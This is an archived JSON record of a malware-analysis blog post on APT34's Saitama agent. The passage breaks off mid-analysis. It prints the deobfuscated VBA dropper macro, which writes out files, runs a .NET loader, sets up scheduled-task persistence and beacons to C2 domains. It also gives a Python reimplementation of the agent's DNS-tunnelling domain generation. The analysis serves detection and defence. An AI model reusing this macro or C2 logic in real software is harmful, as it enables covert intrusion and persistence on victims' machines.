{
	"id": "0ff57573-f3d7-427f-95f3-eeb486c4e095",
	"created_at": "2026-04-06T00:07:23.445877Z",
	"updated_at": "2026-04-10T13:12:56.863256Z",
	"deleted_at": null,
	"sha1_hash": "79e53e7eb70a53b090b71972594fee41eeb40523",
	"title": "APT34 - Saitama Agent",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1122316,
	"plain_text": "APT34 - Saitama Agent\r\nBy Mohamed Ashraf\r\nPublished: 2022-06-24 · Archived: 2026-04-05 16:43:10 UTC\r\n37 minute read\r\nIntroductionPermalink\r\nThe spear phishing email contained a malicious attachment and the malicious attachment droppes APT34 malware\r\nnamed Saitama . What interesting in this sample and set it apart from average malware that it’s using a unique DNS\r\ntunneling and stateful programming ( finite state machine ).\r\nStage 1 - Excel DocumentPermalink\r\nThe attached Excel file contains a malicious VBA macro . The document has an image that tries to convince the\r\nvictim to enable a macro. After enabling the macro, the image is replaced with a one of the Jordan government\r\nministrie’s logo .\r\nUsing olevba to get an overview of what the VBA does and extract the macro. It seems it drops and execute a file.\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 1 of 37\n\nHere is the macro after renaming the variable to make it more readable and easy to understand.\r\nPrivate Declare PtrSafe Function DispCallFunc Lib \"oleaut32.dll\" (ByVal pv As LongPtr, ByVal ov As LongPtr, ByVal\r\nPrivate Declare PtrSafe Sub RtlMoveMemory Lib \"kernel32\" (Dst As Any, Src As Any, ByVal BLen As LongPtr)\r\nPrivate Declare PtrSafe Function VarPtrArray Lib \"VBE7\" Alias \"VarPtr\" (ByRef Var() As Any) As LongPtr\r\nDim random_number As String\r\n#If Win64 Then\r\nConst LS As LongPtr = 8\u0026\r\n#Else\r\nConst LS As LongPtr = 4\u0026\r\n#End If\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 2 of 37\n\nPrivate Sub WorkbrootFolderk_Open()\r\n GoTo s1\r\n Sheets(\"Confirmation Receive Document\").Visible = True\r\n Sheets(\"Confirmation Receive Documents\").Visible = False\r\n 'Sheets(\"TeamViewer Licenses\").Visible = True\r\n 'Sheets(\"TeamViewer License\").Visible = False\r\n Exit Sub\r\ns1:\r\n \r\n Sheets(\"Confirmation Receive Documents\").Visible = True\r\n Sheets(\"Confirmation Receive Document\").Visible = False\r\n \r\n ' Generate 4 digit random rumber\r\n random_number = CStr(Int((10000 * Rnd())))\r\n eNotif \"zbabz\"\r\n \r\n ' Create object file\r\n Set fs = CreateObject(\"Scripting.FileSystemObject\")\r\n ' Create the TaskService object.\r\n Set service = CreateObject(\"schedule.service\")\r\n Call service.Connect\r\n Dim rootFolder\r\n On Error Resume Next\r\n \r\n ' Get the task folder that contains the tasks.\r\n Set rootFolder = service.GetFolder(\"\\\")\r\n eNotif \"zbbbz\"\r\n \r\n On Error Resume Next\r\n ' If mouse device is connected\r\n If Application.MouseAvailable Then\r\n drop_path = LCase(Environ(\"localappdata\")) \u0026 \"\\MicrosoftUpdate\\\"\r\n If Dir(drop_path, vbDirectory) = \"\" Then\r\n MkDir drop_path\r\n End If\r\n' drop_path = \\AppData\\Local\\MicrosoftUpdate\\\r\n' drop following files in drop_path\r\n malware = drop_path \u0026 \"update.exe\"\r\n config = drop_path \u0026 \"update.exe.config\"\r\n DLL = drop_path \u0026 \"Microsoft.Exchange.WebServices.dll\"\r\n \r\nSet objXMLDoc = CreateObject(\"Microsoft.XMLDOM\")\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 3 of 37\n\nSet objXmlNode = objXMLDoc.createElement(\"tmp\")\r\n objXmlNode.DataType = \"bin.base64\"\r\n objXmlNode.Text = UserForm1.Label1.Caption\r\n b64_decoded = objXmlNode.NodeTypedValue\r\n Dim FileNumber As Integer\r\n FileNumber = FreeFile\r\n Open malware For Binary Lock Read Write As #FileNumber\r\n Dim Decoded_bytes() As Byte\r\n Decoded_bytes = b64_decoded\r\n Put #FileNumber , 1, Decoded_bytes\r\n Close #FileNumber\r\n eNotif \"zbaez\"\r\n objXmlNode.Text = UserForm2.Label1.Caption\r\n b64_decoded = objXmlNode.NodeTypedValue\r\n FileNumber = 0\r\n FileNumber = FreeFile\r\n Open config For Binary Lock Read Write As #FileNumber\r\n Decoded_bytes = b64_decoded\r\n Put #FileNumber , 1, Decoded_bytes\r\n Close #FileNumber\r\n eNotif \"zbbez\"\r\n \r\n \r\n objXmlNode.Text = UserForm3.Label1.Caption\r\n b64_decoded = objXmlNode.NodeTypedValue\r\n FileNumber = 0\r\n FileNumber = FreeFile\r\n Open DLL For Binary Lock Read Write As #FileNumber\r\n Decoded_bytes = b64_decoded\r\n Put #FileNumber , 1, Decoded_bytes\r\n Close #FileNumber\r\n eNotif \"zbcez\"\r\n' Create object file\r\n Set objFSO = CreateObject(\"Scripting.FileSystemObject\")\r\n If Not objFSO.FileExists(malware) Then\r\n eNotif \"zbdez\"\r\n Test\r\n eNotif \"zbeez\"\r\n End If\r\n End If\r\n \r\n eNotif \"zbafz\"\r\n Dim xmlText As String\r\n xmlText = \"\u003c?xml version=\"\"1.0\"\" encoding=\"\"UTF-16\"\"?\u003e\u003cTask version=\"\"1.2\"\" xmlns=\"\"http://schemas.microsoft.c\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 4 of 37\n\nxmlText = xmlText \u0026 \"\u003cIdleSettings\u003e\u003cDuration\u003ePT10M\u003c/Duration\u003e\u003cWaitTimeout\u003ePT1H\u003c/WaitTimeout\u003e\u003c/IdleSettings\u003e\u003cAl\r\n \r\n ' Paramters: 6 =\u003eTASK_CREATE_OR_UPDATE , 3=\u003e TASK_LOGON_INTERACTIVE_TOKEN)\r\n Call rootFolder.RegisterTask(\"MicrosoftUpdate\", xmlText, 6, , , 3)\r\n eNotif \"zbbfz\"\r\n \r\nEnd Sub\r\nSub Test()\r\n Set objXMLDoc = CreateObject(\"Microsoft.XMLDOM\")\r\n Set objXmlNode = objXMLDoc.createElement(\"tmp\")\r\n objXmlNode.DataType = \"bin.base64\"\r\n objXmlNode.Text = word.Label.Caption\r\n b64_decoded = objXmlNode.NodeTypedValue\r\n \r\n Dim decoded_bytes() As Byte\r\n decoded_bytes = b64_decoded\r\n \r\n \r\n ' VBA code for calling AppDomain.Load using raw vtable lookups for the IUnknown\r\n ' Upon searching the next line , the following link pop ups https://gist.github.com/monoxgas/1b36031c5593ebfed\r\n Dim host As New mscoree.CorRuntimeHost, dom As AppDomain\r\n host.Start\r\n host.GetDefaultDomain dom\r\n Dim vRet As Variant, lRet As Long\r\n Dim vTypes(0 To 1) As Integer\r\n Dim vValues(0 To 1) As LongPtr\r\n Dim pPArry As LongPtr: pPArry = VarPtrArray(decoded_bytes)\r\n Dim pArry As LongPtr\r\n RtlMoveMemory pArry, ByVal pPArry, LS\r\n Dim vWrap: vWrap = pArry\r\n \r\n vValues(0) = VarPtr(vWrap)\r\n vTypes(0) = 16411\r\n \r\n Dim pRef As LongPtr: pRef = 0\r\n Dim vWrap2: vWrap2 = VarPtr(pRef)\r\n \r\n vValues(1) = VarPtr(vWrap2)\r\n vTypes(1) = 16396\r\n \r\n lRet = DispCallFunc(ObjPtr(dom), 45 * LS, 4, vbLong, 2, vTypes(0), vValues(0), vRet)\r\n \r\n Dim aRef As mscorlib.assembly\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 5 of 37\n\nRtlMoveMemory aRef, pRef, LS\r\n aRef.CreateInstance \"Saitama.Agent.Program\"\r\n \r\nEnd Sub\r\nFunction eNotif(tMsg) 'tMsg = \"zbbfz\",\"zbafz\",\"zbeez\",\"zbdez\",\"zbcez\",\"zbbez\",\"zbaez\" , \"zbbbz\" , \"zbabz\"\r\n GetIPfromHostName(\"qw\" \u0026 tMsg \u0026 random_number \u0026 \".joexpediagroup.com\")\r\nEnd Function\r\nFunction GetIPfromHostName(p_sHostName) As String\r\n On Error GoTo o5\r\n Dim wmiQuery\r\n Dim objWMIService\r\n Dim objPing\r\n Dim objStatus\r\n ' Win32_PingStatus WMI class represents the values returned by the standard ping command.\r\n wmiQuery = \"Select * From Win32_PingStatus Where Address = '\" \u0026 p_sHostName \u0026 \"'\"\r\n ' Creating a WMI instance to query information in the cimv2 category.\r\n Set objWMIService = GetObject(\"winmgmts:\\\\.\\root\\cimv2\")\r\n Set objPing = objWMIService.ExecQuery(wmiQuery)\r\n For Each objStatus In objPing\r\n If objStatus.StatusCode = 0 Then\r\n GetIPfromHostName = objStatus.ProtocolAddress\r\n Else\r\n GetIPfromHostName = \"Unreachable\"\r\n End If\r\n Next\r\n GoTo o6\r\no5:\r\n GetIPfromHostName = \"someting wrong\"\r\no6:\r\nEnd Function\r\nMacro CapabilitiesPermalink\r\n1. Hides the current sheet and shows the new sheet that contains one of the Jordan government ministry’s logo.\r\n2. Calls the eNotif function at every step of the macro execution notifying the C2 with the execution progress.\r\nTo send a notification it builds different subdomains each step .The domain consists of the following parts\r\nqw + 5 chars changes depending on the macro stage that identify the macro current stage + 4\r\nrandom digits + .joexpediagroup.com .It uses the WMI to ping the C2 server.\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 6 of 37\n\n3. Checks if there is a mouse connected ( avoiding automated analysis ) and if so it Create three files a\r\nmalicious PE file is created and dropped in %LocalAppData%\\MicrosoftUpdate\\update.exe , A configuration\r\nfile is created and dropped in %LocalAppData%\\MicrosoftUpdate\\update.exe.config , And the third file\r\ndropped in %LocalAppData%\\MicrosoftUpdate\\Microsoft.Exchange.WebServices.dll , was signed and clean.\r\nThe files content is in base64 encoded in the excel sheet , by reading the content of the UserForm1.label1,\r\nUserForm2.label1 and UserForm3.label1 they are in base64 format, decodes them and writes them into the\r\ncreated files respectively.\r\n4. Checking that the malicious PE file was successfully created and if not for any reason , it writes it using a\r\ntechnique that loads a DotNet assembly directly using mscorlib and Assembly.Load by manually accessing\r\nthe VTable of the IUnknown. This technique was taken from Github. This technique was not used in this\r\nmacro since the file was already Created, although the function is trying to decode content from\r\nword.Label.Caption and it supposed to be UserForm1.label1 instead , which actually contains nothing , so it’s\r\na useless function ,and the developer was just testing this technique .\r\n5. The macro creates a persistence method for update.exe file. This is done by setting a scheduled task under the\r\nname of the MicrosoftUpdate .\r\nScheduled TaskPermalink\r\nI commented the xml to be easily understandable.\r\n\u003c?xml version=\"\"1.0\"\" encoding=\"\"UTF-16\"\"?\u003e\r\n\u003cTask version=\"\"1.2\"\" xmlns=\"\"http://schemas.microsoft.com/windows/2004/02/mit/task\"\"\u003e\r\n \u003cRegistrationInfo\u003e\r\n \u003cAuthor\u003eMicrosoft Corporation\u003c/Author\u003e\r\n \u003cDescription\u003eMicrosoft Important Update\u003c/Description\u003e\r\n \u003c/RegistrationInfo\u003e\r\n \u003cTriggers\u003e\r\n \u003cTimeTrigger\u003e\r\n \u003cRepetition\u003e\r\n \u003cInterval\u003ePT4M\u003c/Interval\u003e \u003c!-- Restart task every 4 Minutes --\u003e\r\n \u003c/Repetition\u003e\r\n \u003cStartBoundary\u003e\" \u0026 Format(DateAdd(\"n\", 1, Now()), \"yyyy-mm-ddThh:nn:ss\") \u0026 \"\u003c/StartBoundary\u003e\r\n \u003c!-- Specifies the date and time when the trigger is activated. --\u003e\r\n \u003cEnabled\u003etrue\u003c/Enabled\u003e \u003c!--Specifies that the trigger is enabled.--\u003e\r\n \u003c/TimeTrigger\u003e\r\n \u003c/Triggers\u003e\r\n \u003cPrincipals\u003e \u003c!--Specifies the security contexts that can be used to run the task.--\u003e\r\n \u003cPrincipal id=\"\"Author\"\"\u003e\r\n\u003c!-- Specifies the security credentials for a principal. These credentials define the security context that a task\r\n \u003cLogonType\u003eInteractiveToken\u003c/LogonType\u003e\r\n \u003c!-- User must already be logged on. The task will be run only in an existing interactive session.--\u003e\r\n \u003cRunLevel\u003eLeastPrivilege\u003c/RunLevel\u003e\r\n \u003c/Principal\u003e\r\n \u003c/Principals\u003e\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 7 of 37\n\n\u003cSettings\u003e\r\n \u003cMultipleInstancesPolicy\u003eParallel\u003c/MultipleInstancesPolicy\u003e\r\n \u003c!-- Starts a new instance while an existing instance is running. --\u003e\r\n \u003cDisallowStartIfOnBatteries\u003efalse\u003c/DisallowStartIfOnBatteries\u003e\r\n \u003c!--Specifies that the task will not be started if the computer is running on battery power.--\u003e\r\n \u003cStopIfGoingOnBatteries\u003efalse\u003c/StopIfGoingOnBatteries\u003e\r\n \u003c!--Specifies that the task will be stopped if the computer switches to battery power.--\u003e\r\n \u003cAllowHardTerminate\u003etrue\u003c/AllowHardTerminate\u003e\r\n \u003c!--Specifies if the Task Scheduler service allows hard termination of the task.--\u003e\r\n \u003cStartWhenAvailable\u003etrue\u003c/StartWhenAvailable\u003e\r\n \u003c!--Specifies that the Task Scheduler can start the task at any time after its scheduled time has passed.-\r\n \u003cRunOnlyIfNetworkAvailable\u003efalse\u003c/RunOnlyIfNetworkAvailable\u003e\r\n \u003c!--Specifies that the Task Scheduler will run the task only when a network is available.--\u003e\r\n \u003cIdleSettings\u003e\r\n \u003c!--Specifies how the Task Scheduler performs tasks when the computer is in an idle state.--\u003e\r\n \u003cDuration\u003ePT10M\u003c/Duration\u003e\r\n \u003c!-- 10 Minute --\u003e \u003c!--Specifies how long the computer must be in an idle state before the task is run\r\n \u003cWaitTimeout\u003ePT1H\u003c/WaitTimeout\u003e\r\n \u003c!-- 1 Hour --\u003e \u003c!--Specifies the amount of time that the Task Scheduler will wait for an idle condition t\r\n occur. --\u003e\r\n \u003c/IdleSettings\u003e\r\n \u003cAllowStartOnDemand\u003etrue\u003c/AllowStartOnDemand\u003e\r\n \u003c!--Specifies that the task can be started by using either the Run command or the Context menu.--\u003e\r\n \u003cEnabled\u003etrue\u003c/Enabled\u003e\r\n \u003c!--Specifies that the task is enabled. The task can be performed only when this setting is True. --\u003e\r\n \u003cHidden\u003efalse\u003c/Hidden\u003e\r\n \u003c!--Specifies, by default, that the task will not be visible in the user interface (UI).--\u003e\r\n \u003cRunOnlyIfIdle\u003efalse\u003c/RunOnlyIfIdle\u003e \u003c!--Specifies that the task is run only when the computer is in an id\r\n state.--\u003e\r\n \u003cWakeToRun\u003efalse\u003c/WakeToRun\u003e\r\n \u003c!--Specifies that Task Scheduler will wake the computer before it runs the task.--\u003e\r\n \u003cExecutionTimeLimit\u003eP20D\u003c/ExecutionTimeLimit\u003e\r\n \u003c!-- 20 Days --\u003e \u003c!--Specifies the amount of time allowed to complete the task.--\u003e\r\n \u003cPriority\u003e7\u003c/Priority\u003e \u003c!-- BELOW_NORMAL_PRIORITY_CLASS THREAD_PRIORITY_BELOW_NORMAL--\u003e\r\n \u003c/Settings\u003e\r\n \u003cActions Context=\"\"Author\"\"\u003e \u003c!-- Execute the malware --\u003e\r\n \u003cExec\u003e\r\n \u003cCommand\u003e\"\"\" \u0026 Malware \u0026 \"\"\"\u003c/Command\u003e\r\n \u003cWorkingDirectory\u003e\" \u0026 drop_path \u0026 \"\u003c/WorkingDirectory\u003e\r\n \u003c/Exec\u003e\r\n \u003c/Actions\u003e\r\n\u003c/Task\u003e\r\nMacro States NotificationsPermalink\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 8 of 37\n\nC2 Serve State\r\nqwzbabz[four-digits].joexpediagroup[.]com\r\nMacro started\r\nqwzbbbz[four-digits].joexpediagroup[.]comConnected successfully to task scheduler to get the task folder that\r\ncontains the tasks\r\nqwzbaez[four-digits].joexpediagroup[.]com\r\nMalware created\r\nqwzbbez[four-digits].joexpediagroup[.]com\r\nConfig created\r\nqwzbcez[four-digits].joexpediagroup[.]com\r\nDLL created\r\nqwzbdez[four-digits].joexpediagroup[.]com\r\nIf the malware is not created\r\nqwzbeez[four-digits].joexpediagroup[.]com\r\nCreate malware if not created\r\nqwzbafz[four-digits].joexpediagroup[.]com\r\nTask scheduler configuration\r\nqwzbbfz[four-digits].joexpediagroup[.]com\r\nScheduled task created\r\nDropped ConfigurationPermalink\r\nStage2 .net Malicious FilePermalink\r\nBefore digging in , we can get an overview about what the malware can do . it seems it can execute commands ,\r\ncompress / decompress capabilities , and it have a pseudorandom number generator . I will start explaining the least\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 9 of 37\n\ninteresting parts first.\r\nMutexPermalink\r\nThe malware creates a mutex object 726a06ad-475b-4bc6-8466-f08960595f1e to avoid having more than one\r\ninstance running. If instance of the malware is already running therefore malware exits.\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 10 of 37\n\nMachine StatesPermalink\r\nThe malware utilizes the concept of finite state machine .\r\nThe makeup of a finite state machine consists of the following:\r\n1. A set of potential input events.\r\n2. A set of probable output events that correspond to the potential input events.\r\n3. A set of expected states the system can exhibit.\r\n4. The machine can either move to the next state or stay in the same state.\r\nIn the following figure , the machine start in a state called Door Closed , if event called opening the door\r\nhappens the machine state changes to Door open . So our malware although have some states and events that make\r\nit move to other states to do malicious activity.\r\nWe can see a dictionary of transactions definitions and an initialization to the current state as Beign , as example if\r\nthe current machine state is Begin and we have a command telling us to Start then we are updating the current\r\nmachine state to Alive as seen below , we will get a better understanding of the states idea while we are going\r\nthrough our analysis.\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 11 of 37\n\nHere is a table of all possible states and transactions :\r\nCurrent Machine State Machine Command New Machine State\r\nBegin Start Alive\r\nSleep Start Alive\r\nAlive Failed Sleep (21600000- 28800000)\r\nAlive HasData Receive\r\nReceive Failed Sleep (40000-80000)\r\nReceive DataReceived Do\r\nDo Failed SecondSleep (1800000- 2700000)\r\nDo HasResult Send\r\nSend Failed Sleep (40000-80000)\r\nSend HasData SendAndReceive\r\nSend DataSended Do\r\nSend DataSendedAndHasData Receive\r\nSendAndReceive Failed Sleep (40000-80000)\r\nSendAndReceive DataReceived Send\r\nSendAndReceive DataSended Receive\r\nSendAndReceive DataSendedAndReceived Do\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 12 of 37\n\nCurrent Machine State Machine Command New Machine State\r\nSecondSleep Start Alive\r\nWe have 8 states , every state have a certain value as seen below :\r\nMachineState Values\r\nMachineState Begin 0\r\nMachineState Sleep 1\r\nMachineState Alive 2\r\nMachineState Receive 3\r\nMachineState Do 4\r\nMachineState Send 5\r\nMachineState SendAndReceive 6\r\nMachineState SecondSleep 7\r\nSo after initializing the current MachineState as Beign , it enters the first case Begin and the current machine\r\nstate will change to Alive and start doing it’s malicious activity .\r\nConfigurationPermalink\r\nThe malware Loades random number into counter variable , initializes domains , and a list of byte array called\r\nlistData\r\nHere is some variables in config class and its values which we will see being used in other classes.\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 13 of 37\n\nVariable Value\r\nConfig.DelayMinAlive 21600000\r\nConfig.DelayMaxAlive 28800000\r\nConfig.DelayMinCommunicate 40000\r\nConfig.DelayMaxCommunicate 80000\r\nConfig.DelayMinSecondCheck 1800000\r\nConfig.DelayMaxSecondCheck 2700000\r\nConfig.DelayMinRetry 300000\r\nConfig.DelayMaxRetry 420000\r\nConfig.MaxTry 7\r\nConfig.TaskExecTimeout 10800000\r\nConfig.SendCount 12\r\nConfig.CharsDomain “abcdefghijklmnopqrstuvwxyz0123456789”\r\nConfig.CharsCounter “razupgnv2w01eos4t38h7yqidxmkljc6b9f5”\r\nConfig.FirstAliveKey “haruto”\r\nConfig._AgentID null\r\nConfig._MaxCounter 46656\r\nBefore discussing the more important parts. lets first discuss two states SleepAlive and SleepSecond\r\nSleepAlivePermalink\r\nThe malware can sleep for very long time by calling MakeDelay. SleepAlive state simply sleeps for certain time\r\nthen return machine command start , so after sleeping the MahcineState will be Alive . you can check the table\r\nof states and commands .\r\nSleepSecondPermalink\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 14 of 37\n\nSame as SleepAlive except for the argument getting passed to MakeDleay fuction.\r\nMakeDelayPermalink\r\nThe possible arguments for MakeDelay are:\r\nDelayType Values\r\nEnums.DelayType Alive 0\r\nEnums.DelayType Communicate 1\r\nEnums.DelayType SecondCheck 2\r\nEnums.DelayType Retry 3\r\nDepending on the argument being passed , it initializes min and max values with certain values discussed above in\r\nconfig table . then get a random number between min and max and that random value will be the time to sleep .\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 15 of 37\n\nMakeDelay is called in other states although .\r\nAlive StatePermalink\r\nLets start making things a little bit interesting . This malware uses DNS tunneling to communicate with its C2 as we\r\nwill see everything the malware need from the C2 is built into the DNS request. The first state the malware gets in is\r\nAlive . First the malware checks if an AgentId exist which is not , and then call TryMe with _FirstAlive\r\nfunction as argument .\r\nTryMe takes a function as an argument , and try to execute the function that is passed to it , until it return success or\r\nthe number of tries exceeded MaxTry , between every try the malware sleep for some time using MakeDelay . If\r\nnumber of tries exceeded MaxTry the malware adds 1 to the counter that was initialized in the first place .\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 16 of 37\n\nFirstAlive constructs a subdomain by passing FirstAlive parameter which is 0 and FirstAliveKey which is\r\nharuto to the DomainMaker and try to connect to it and get its address .\r\nThere are other possible arguments for the first parameter:\r\nDomainType Values\r\nEnums.DomainType FirstAlive 0\r\nEnums.DomainType Send 1\r\nEnums.DomainType Receive 2\r\nEnums.DomainType SendAndReceive 3\r\nEnums.DomainType MainAlive 4\r\nPython Implementation of the DGAPermalink\r\nimport math\r\nimport base64\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 17 of 37\n\nCharsDomain = \"abcdefghijklmnopqrstuvwxyz0123456789\"\r\nCharsCounter = \"razupgnv2w01eos4t38h7yqidxmkljc6b9f5\"\r\nclass RandomMersenneTwister():\r\n def __init__(self, c_seed=5489):\r\n (self.w, self.n, self.m, self.r) = (32, 624, 397, 31)\r\n self.a = 0x9908B0DF\r\n (self.u, self.d) = (11, 0xFFFFFFFF)\r\n (self.s, self.b) = (7, 0x9D2C5680)\r\n (self.t, self.c) = (15, 0xEFC60000)\r\n self.l = 18\r\n self.f = 1812433253\r\n self.MT = [0 for i in range(self.n)]\r\n self.index = self.n+1\r\n self.lower_mask = 0x7FFFFFFF\r\n self.upper_mask = 0x80000000\r\n self.c_seed = c_seed\r\n self.seed(c_seed)\r\n def seed(self, num):\r\n self.MT[0] = num\r\n self.index = self.n\r\n for i in range(1, self.n):\r\n temp = self.f * (self.MT[i-1] ^ (self.MT[i-1] \u003e\u003e (self.w-2))) + i\r\n self.MT[i] = temp \u0026 0xffffffff\r\n def twist(self):\r\n for i in range(0, self.n):\r\n x = (self.MT[i] \u0026 self.upper_mask) + \\\r\n (self.MT[(i+1) % self.n] \u0026 self.lower_mask)\r\n xA = x \u003e\u003e 1\r\n if (x % 2) != 0:\r\n xA = xA ^ self.a\r\n self.MT[i] = self.MT[(i + self.m) % self.n] ^ xA\r\n self.index = 0\r\n def extract_number(self):\r\n \r\n if self.index \u003e= self.n:\r\n self.twist()\r\n y = self.MT[self.index]\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 18 of 37\n\ny = y ^ ((y \u003e\u003e self.u) \u0026 self.d)\r\n y = y ^ ((y \u003c\u003c self.s) \u0026 self.b)\r\n y = y ^ ((y \u003c\u003c self.t) \u0026 self.c)\r\n y = y ^ (y \u003e\u003e self.l)\r\n self.index += 1\r\n return y \u0026 0xffffffff\r\n def GetRandomRange(self , minn , maxx):\r\n num = maxx - minn\r\n randnum = self.extract_number()\r\n return minn + (randnum % num)\r\ndef ConvertIntToDomain(value):\r\n text = \"\"\r\n length = len(CharsDomain)\r\n while 1:\r\n text = CharsDomain[value % length] + text\r\n value //= length\r\n if value \u003c= 0:\r\n break\r\n return text\r\n \r\ndef PadLeft(text,totalWidth,paddingChar):\r\n if totalWidth \u003c len(text):\r\n return text\r\n return paddingChar*(totalWidth-len(text)) + text\r\n \r\ndef ConvertIntToCounter(value):\r\n text = \"\"\r\n length = len(CharsCounter)\r\n while 1:\r\n text = CharsCounter[value % length] + text\r\n value //= length\r\n if value \u003c= 0:\r\n break\r\n return text\r\n \r\ndef MapBaseSubdomainCharacters( data, shuffle):\r\n text = \"\"\r\n for i in range(len(data)):\r\n text += shuffle[CharsDomain.index(data[i])];\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 19 of 37\n\nreturn text\r\n \r\n \r\ndef Shuffle(seed):\r\n CharsDomain = \"abcdefghijklmnopqrstuvwxyz0123456789\"\r\n randomMersenneTwister = RandomMersenneTwister(seed)\r\n length = len(CharsDomain)\r\n text2 = \"\"\r\n for i in range(length):\r\n randomRange = randomMersenneTwister.GetRandomRange(0,len(CharsDomain))\r\n text2 += CharsDomain[randomRange];\r\n CharsDomain = CharsDomain.replace(CharsDomain[randomRange],'')\r\n \r\n return text2\r\nDomain GenerationPermalink\r\nThe DomainMaker uses a pseudorandom number generator and other functions seen in the above code .I wont\r\ndiscusses them since the implementation is clear and easy to understand .\r\nSince our state is Alive and we are trying to generate its subdomain , once a subdomain is generated, the malware\r\nrandomly chooses one of three domains to concatenate with joexpediagroup[.]com, asiaworldremit[.]com, or\r\nuber-asia[.]com .\r\nSteps for generating subdomains :\r\n1. Convert DomainType which is int to character and append data passed to it which is haruto .\r\n2. Use the counter that was randomly generated as a seed to MersenneTwister to generate random numbers and\r\nreturn 36 random char and numbers.\r\n3. Map step 1 output to the shuffled chars .\r\n4. Convert seed ( counter ) to char and pad it with the first char in CharCounter .\r\n5. Then append a random domain from the 3 that exists joexpediagroup.com , asiaworldremit.com , uber-asia.com .\r\n6. Generated domain = step 3 output + step 4 output + step 5 output\r\n7. The counter is increased if the malware was successfully connected to the generated domain .\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 20 of 37\n\nAs example let the counter (seed) be 6537 , we can see the generated subdomain in the following snippet:\r\nseed = 6537\r\nFirstAliveKey = \"haruto\"\r\nshuffle = Shuffle(seed)\r\ndomain = ConvertIntToDomain(0) + FirstAliveKey\r\nDomain = MapBaseSubdomainCharacters(domain, shuffle) + PadLeft(ConvertIntToCounter(seed),3,CharsCounter[0]) + \".\"\r\nprint(Domain + \" [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ]\")\r\nqtqbkz1gay. [ joexpediagroup.com | asiaworldremit.com |uber-asia.com ]\r\nIf the malware successfully got the IP of the domain generated , it sets the last octet of the address in AgentId ex: if\r\nthe IP address is 127.0.0.1 so the AgentId will be 1 , which will be used in DomainMaker for other states. Back to\r\nAlive function , if it was successfully connected to the generated domain and AgentId is set , it calls\r\nMainAlive . We can enumerate all possible subdomains to be generated from FirstAlive by enumerating all\r\npossible seeds until 46656 ( max counter).\r\nfor seed in range(46656):\r\n FirstAliveKey = \"haruto\"\r\n shuffle = Shuffle(seed)\r\n domain = ConvertIntToDomain(0) + FirstAliveKey\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 21 of 37\n\nDomain = MapBaseSubdomainCharacters(domain, shuffle) + PadLeft(ConvertIntToCounter(seed),3,CharsCounter[0]) +\r\n print(Domain + \" [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ]\")\r\nQuick RecapPermalink\r\nBefore we continue our analysis lets recap what already happened and put those pieces together .\r\n1. Mutex created .\r\n2. Machine States dictionary create which control the states transaction , and every state do different job .\r\n3. Config intialized .\r\n4. First state is Begin and a command Start changes state to Alive .\r\n5. Try to call FirstAlive untill it succeed or exceed maximum tries.\r\n6. FirstAlive generate subdomain as discussed above .\r\n7. MainAlive is called .\r\nLet’s dig into MainAlive state .\r\nMainAlive StatePermalink\r\nThe malware generate different subdomains constructed with the following steps:\r\n1. Convert AgentId to character .\r\n2. Use the counter that was randomly generated as a seed to MersenneTwister to generate random numbers and\r\nreturn 36 random char and numbers.\r\n3. Map step 1 output to the shuffled chars .\r\n4. Convert seed ( counter ) to char and pad it with the first char in CharCounter .\r\n5. Then append a random domain from the 3 that exists joexpediagroup.com , asiaworldremit.com , uber-asia.com .\r\n6. Generated domain = step 3 output + step 4 output + step 5 output .\r\n7. The counter is increased if the malware was successfully connected to the generated domain .\r\nAs example let the AgentID be 203 , we can see the generated subdomain in the following snippet:\r\nhttps://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html\r\nPage 22 of 37\n\nseed = 6538\r\nagent_id = 203\r\nshuffle = Shuffle(seed)\r\ndomain = ConvertIntToDomain(agent_id)\r\nDomain = MapBaseSubdomainCharacters(domain, shuffle) + PadLeft(ConvertIntToCounter(seed),3,CharsCounter[0]) + \".\"\r\nprint(Domain + \" [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ]\")\r\n6agaq. [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ]\r\nWhen DNS is queried for a domain, a DNS server returns an IP address that points to the requested domain. The\r\nmalware then checks the first octet of the IP address to ensure the value is at least 128 to be considered valid.\r\nPerhaps this is a way for the malware to avoid internal IP addresses.\r\nIf the first octet value is at least 128 to , then initialize the data size that will be received by taking the last 3 octet s\r\nand that will be the size. ex : if the IP address is 129.90.100.200 then the size would be : 0x5a64c8\r\nIf successfully connected to the generated domain and first octet of the IP is at least 128 then the MachineState\r\nwill go to Receive state.\r\nWe can enumerate all possible domain to be generated from MainAlive state 11897280 possible domain by\r\nenumerating the all possible seeds until 46656 and AgentId 